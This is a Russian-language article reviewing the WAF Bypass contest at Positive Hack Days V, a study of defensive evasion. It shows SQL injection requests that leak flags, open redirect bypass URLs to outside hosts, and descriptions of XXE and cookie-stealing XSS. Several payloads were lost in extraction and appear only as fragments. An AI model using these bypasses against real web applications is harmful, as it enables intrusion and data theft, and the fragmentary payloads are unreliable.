Конкурс WAF Bypass на Positive Hack Days V

c28e032ea084411192d061142d202345.jpgКак и в прошлом году, на международном форуме по практической безопасности Positive Hack Days проходил конкурс WAF Bypass. Задача участников — обойти защиту PT Application Firewall, веб-файрвола компании Positive Technologies. Специально для конкурса был создан сайт «Choo Choo Roads» с типовыми уязвимостями: Cross-Site Scripting, SQL Injection, XML External Entities Injection, Open Redirect и другими. Результатом обхода проверки для каждой уязвимости были md5-флаги, за которые присуждались очки. Флаги располагались в файловой системе, базе данных, в cookie-параметрах, которые присваивались специальному боту, написанному с использованием Selenium.

d70d0efeb96347eead9317f497e32538.png

Конфигурация WAF для конкурса предусматривала обходы, однако по результатам мы получили и нестандартные решения. Собственно, для этого конкурс и создавался — дать возможность участникам попытать свои силы в обходе проверок и, тем самым, позволить нам улучшить механизмы защиты продукта. Итак, начнем обзор уязвимостей и их обходов.

WarmupУязвимость присутствовала в скрипте, который отслеживал активность пользователя на сайте: POST /online.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 24 Content-Type: application/json User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36

{«timestamp»:1432906707} Значения поля «timestamp» из JSON-данных в POST-запросе не валидировалось перед использованием в SQL-запросе:
Warning: pg_query (): Query failed: ERROR: invalid input syntax for integer:»1432906707' » LINE 1: UPDATE activity SET timestamp = '1432906707'' ' WHERE id=1 ^ in /var/www/php/online.php on line 8
{«ok»: false} Обойти проверку можно было, подменив Content-Type, например, на text/xml, в результате чего POST-данные не обрабатывались как JSON (была отключена такая проверка).
Warning: pg_query (): Query failed: ERROR: invalid input syntax for integer: «d2a5400fc306d25b6886612cd203a77e | 26.05 15:30 — Industry monopolist Choo Choo Roads wins a government contract for railroad construction» in /var/www/php/online.php on line 8
{«ok»: false} XSD-валидация На сайте присутствовала форма поиска билетов, который осуществлялся путем формирования XML и отправки запроса на бекенд. POST /tickets.php HTTP/1.1 Host: choo-choo.phdays.com Connection: keep-alive Content-Length: 220 Content-Type: text/xml

Moscow Saint-Petersbourg 30/05/2015 Для XML-запроса использовалась XSD-схема: Атрибут «id» согласно схеме должен иметь длину в 35 символов. Значение атрибута попадало в SQL-запрос без валидации, таким образом для обхода требовалось сконструировать такой вектор, который удовлевторит требованиям XSD-схемы. Open Redirect Уязвимость присутствовала в параметре «to» скрипта «redirect.php». Флаг передавался в fragment-части URL, куда совершался редирект, т.е. он не отправлялся на серверную часть. Чтобы получить флаг, было необходимо отправить бота на сторонний сайт со страницей, которая должна была бы извлечь значение из location.hash и отправить его логгеру.Варианты обхода:

http://choo-choo.phdays.com/redirect.php? to=phdays.com: asd@host.com http://choo-choo.phdays.com/redirect.php? to=http://ahack.ru%23.phdays.com/ http://choo-choo.phdays.com/redirect.php? to=http%3a//www.samincube.com%3f\…\\www.phdays.com XML External Entities Injection Скрипт, обрабатывающий XML-данные, был подвержен XXE. Для обхода требовалось использовать внешнюю сущность внутри parameter entity: »> %asd; %asd1; ]> Также был возможен обход с помощью кодировки UTF-16: Cross Site Scripting Уязвимость находилась на странице поиска по сайту. Чтобы получить флаг, требовалось отправить куки бота на свой сайт. Для обхода можно было использовать нестандартные атрибуты тэгов, которые обрабатываются библиотекой bootstrap-validator, позволяя выполнять JS-код: http://choo-choo.phdays.com/index.php? search=»>

Или следующими способами:

Результаты 69f8539e2c974fd18c1b5ab7bebc7ded.pngКак и в прошлом году, первое место заняла команда Bushwhackers: Георгий Носеевич, Андрей Петухов и Александр Раздобаров. Они решили все задания еще в первый день! Второе место занял Михаил Степанкин (ArtSploit), а третье — Эльдар Заитов (kyprizel). За первое место мы вручили iPad Air 2, за второе — Sony Xperia Z3, за третье — годовую лицензию программы Burp Suite Professional.

За время конкурса было заблокировано 271390 запросов, что в два раза больше, чем в прошлом году. Зарегистириовалось 302 участника (в прошлом году 101 участник). Лишь 18 человек смогли добыть хотя бы один флаг.

6c0ddb2c6c1a4f048798800d1f9361f6.png

Спасибо всем участникам за интерес к конкурсу!

© Habrahabr.ru